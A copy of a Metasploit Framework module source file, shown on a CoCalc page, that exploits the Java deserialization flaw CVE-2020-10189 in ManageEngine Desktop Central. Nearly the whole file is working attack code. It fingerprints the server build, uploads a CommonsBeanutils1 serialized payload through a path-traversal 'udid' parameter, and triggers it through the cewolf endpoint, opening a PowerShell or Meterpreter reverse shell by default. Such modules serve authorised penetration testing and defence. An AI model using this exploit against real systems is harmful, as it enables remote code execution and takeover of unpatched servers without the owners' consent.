CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/desktopcentral_deserialization.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
prepend Msf::Exploit::Remote::AutoCheck
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::CmdStager
13
include Msf::Exploit::FileDropper
14
include Msf::Exploit::JavaDeserialization
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'ManageEngine Desktop Central Java Deserialization',
21
'Description' => %q{
22
This module exploits a Java deserialization vulnerability in the
23
getChartImage() method from the FileStorage class within ManageEngine
24
Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.
25
26
Quoting the vendor's advisory on fixed versions:
27
28
"The short-term fix for the arbitrary file upload vulnerability was
29
released in build 10.0.474 on January 20, 2020. In continuation of
30
that, the complete fix for the remote code execution vulnerability is
31
now available in build 10.0.479."
32
},
33
'Author' => [
34
'mr_me', # Discovery and exploit
35
'wvu' # Module
36
],
37
'References' => [
38
['CVE', '2020-10189'],
39
['URL', 'https://srcincite.io/advisories/src-2020-0011/'],
40
['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'],
41
['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'],
42
['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html']
43
],
44
'DisclosureDate' => '2020-03-05', # 0day release
45
'License' => MSF_LICENSE,
46
'Platform' => 'win',
47
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
48
'Privileged' => true,
49
'Targets' => [
50
[
51
'Windows Command',
52
{
53
'Arch' => ARCH_CMD,
54
'Type' => :win_cmd,
55
'DefaultOptions' => {
56
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
57
}
58
}
59
],
60
[
61
'Windows Dropper',
62
{
63
'Arch' => [ARCH_X86, ARCH_X64],
64
'Type' => :win_dropper,
65
'CmdStagerFlavor' => :certutil, # This works without issue
66
'DefaultOptions' => {
67
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
68
}
69
}
70
],
71
[
72
'PowerShell Stager',
73
{
74
'Arch' => [ARCH_X86, ARCH_X64],
75
'Type' => :psh_stager,
76
'DefaultOptions' => {
77
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
78
}
79
}
80
]
81
],
82
'DefaultTarget' => 2,
83
'DefaultOptions' => {
84
'SSL' => true,
85
'WfsDelay' => 60 # It can take a little while to trigger
86
},
87
'Notes' => {
88
'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?
89
'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail
90
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
91
}
92
)
93
)
94
95
register_options([
96
Opt::RPORT(8383),
97
OptString.new('TARGETURI', [true, 'Base path', '/'])
98
])
99
end
100
101
def check
102
res = send_request_cgi(
103
'method' => 'GET',
104
'uri' => normalize_uri(target_uri.path, 'configurations.do')
105
)
106
107
unless res
108
return CheckCode::Unknown('Target did not respond to check.')
109
end
110
111
unless res.code == 200 && res.body.include?('ManageEngine Desktop Central')
112
return CheckCode::Unknown('Target is not running Desktop Central.')
113
end
114
115
build = res.get_html_document.at('//input[@id = "buildNum"]/@value')&.text
116
117
unless build&.match(/\d+/)
118
return CheckCode::Detected(
119
'Target did not respond with Desktop Central build.'
120
)
121
end
122
123
# Desktop Central build 100474 is equivalent to version 10.0.474
124
if build.to_i < 100474
125
return CheckCode::Appears(
126
"Desktop Central #{build} is a vulnerable build."
127
)
128
end
129
130
CheckCode::Safe("Desktop Central #{build} is NOT a vulnerable build.")
131
end
132
133
def exploit
134
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
135
136
case target['Type']
137
when :win_cmd
138
execute_command(payload.encoded)
139
when :win_dropper
140
execute_cmdstager
141
when :psh_stager
142
execute_command(cmd_psh_payload(
143
payload.encoded,
144
payload.arch.first,
145
remove_comspec: true
146
))
147
end
148
end
149
150
def execute_command(cmd, _opts = {})
151
vprint_status("Executing command: #{cmd}")
152
153
# I identified mr_me's binary blob as the CommonsBeanutils1 payload :)
154
java_payload = generate_java_deserialization_for_command(
155
'CommonsBeanutils1',
156
'cmd',
157
cmd
158
)
159
160
# XXX: Patch in expected serialVersionUID
161
java_payload[140, 8] = "\xcf\x8e\x01\x82\xfe\x4e\xf1\x7e"
162
163
# Rock 'n' roll!
164
upload_serialized_payload(java_payload)
165
deserialize_payload
166
end
167
168
def upload_serialized_payload(serialized_payload)
169
print_status('Uploading serialized payload')
170
171
res = send_request_cgi(
172
'method' => 'POST',
173
'uri' => normalize_uri(target_uri.path, '/mdm/client/v1/mdmLogUploader'),
174
'ctype' => 'application/octet-stream',
175
'vars_get' => {
176
# Traversal from C:\Program Files\DesktopCentral_Server\mdm-logs\foo\bar
177
'udid' => '\\..\\..\\..\\webapps\\DesktopCentral\\_chart',
178
'filename' => 'logger.zip'
179
},
180
'data' => serialized_payload
181
)
182
183
unless res && res.code == 200
184
fail_with(Failure::UnexpectedReply, 'Could not upload serialized payload')
185
end
186
187
print_good('Successfully uploaded serialized payload')
188
189
# Shell lands in C:\Program Files\DesktopCentral_Server\bin
190
register_file_for_cleanup('..\\webapps\\DesktopCentral\\_chart\\logger.zip')
191
end
192
193
def deserialize_payload
194
print_status('Deserializing payload')
195
196
res = send_request_cgi(
197
'method' => 'GET',
198
'uri' => normalize_uri(target_uri.path, 'cewolf'),
199
'vars_get' => {
200
'img' => '\\logger.zip'
201
}
202
)
203
204
unless res && res.code == 200
205
fail_with(Failure::UnexpectedReply, 'Could not deserialize payload')
206
end
207
208
print_good('Successfully deserialized payload')
209
end
210
211
end
212
213